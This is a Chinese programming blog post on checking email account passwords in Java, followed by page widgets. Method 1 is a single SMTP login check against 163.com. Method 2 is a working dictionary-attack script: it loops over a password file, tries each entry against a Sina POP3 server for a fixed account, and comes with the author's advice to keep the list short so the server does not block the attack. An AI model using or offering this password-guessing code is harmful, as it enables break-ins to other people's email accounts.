登陆163邮箱 验证邮箱帐号密码是否正确

 有些时候我们只需要验证邮箱的帐号密码是否正确。而不需要发邮件。用下面的代码吧。
要用到的jar包是jmail.jar

 方法1

    package com.cn.mail.test;  
      
    import java.util.Properties;  
      
    import javax.mail.MessagingException;  
    import javax.mail.Session;  
    import javax.mail.URLName;  
      
    import com.sun.mail.smtp.SMTPTransport;  
      
    public class EmailLogin extends SMTPTransport {  
          
          
      
      
        public EmailLogin(Session session, URLName urlname) {  
            super(session, urlname);  
        }  
        /** 
         * @param args 
         */  
        public static void main(String[] args) {  
              
              
            URLName urlName=new URLName("smtp","smtp.163.com",25,"","xxx@163.com","password");  
            Session session=Session.getInstance(new Properties());  
            EmailLogin login=new EmailLogin(session,urlName);  
            System.out.println("登陆:"+login.login());  
              
              
              
        }  
      
          
          
        public boolean login(){  
          
            boolean login=false;  
            try {  
                login=  this.protocolConnect(url.getHost(), url.getPort(), url.getUsername(),url.getPassword());  
            } catch (MessagingException e) {  
                  
                login=false;  
            }  
      
            return login;  
        }  
          
          
      
    }  


 

 方法2

还可以用Socket方法

//测试的是sina邮箱. Coremail为服务器的邮箱(163)不大好测, 因为错误提示出来的太慢了. 不大好用,其它的还行.密码不要太多了,太多了,服务器会认为是攻击,会
//屏蔽!
import java.net.*;
import java.io.*;
public class mypass{
	public static void main(String args[])
	{
		try{
			String pass="";
			boolean eof=false;
			BufferedReader fp=new BufferedReader(new FileReader(new File("pass.txt")));
			//存放密码的文件
			while(!eof)
			{
				pass=fp.readLine();
				if (pass==null) eof=true;
				else System.out.println(login("abc@sina.com",pass.trim())+"         PASS:"+pass);
				//测试用的用户名
			}
		}catch(Exception e)
		{
			e.printStackTrace();
		}
	}

	public static boolean login(String user,String pass)
	{
		try{
			Socket conn = new Socket(InetAddress.getByName("202.108.3.230"),110); 
			//测试用的pop3服务器的IP地址。
			BufferedReader input = new BufferedReader(new InputStreamReader(conn.getInputStream()));
			PrintWriter out = new PrintWriter(conn.getOutputStream(), true);
			String line = input.readLine();
			out.print("USER " + user+"\r\n");
			out.flush();
			line = input.readLine();
			out.print("PASS " + pass+"\r\n");
			out.flush();
			line = input.readLine();
			//System.out.println(line);
			if (line.substring(0, 3).equals("+OK")) {
				return true;
			}
			return false;
		}
		catch(Exception e)
		{
			e.printStackTrace();
		}
		return false;
	}

	public static void quit(PrintWriter out)
	{
		out.print("QUIT\r\n");
	}

}



两中方法的比较:

SOCKET走的是TCP/IP协议,而浏览器方式走的是HTTP协议不管哪种方式,都是通过客户端程序上发到服务器端,而浏览器方式的通道都是默认OK的,而TCP方式则需要通过SOCKET来建立通道,传输的数据是通过报文格式,报文你可以理解是一串东东,这个东东可以是二进制,可以是十进制,可以是字符串对于进行用户名密码认证,你看成是字符串就行了根据客户端和服务端规定好的报文格式进行解析,验证的工作和HTTP协议的方式一样,简单来说就是放在servlet上进行。区别就是,SOCKET要自己建立连接以及自己制定报文格式,而浏览器方式只要通过request方式传送就OK了

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值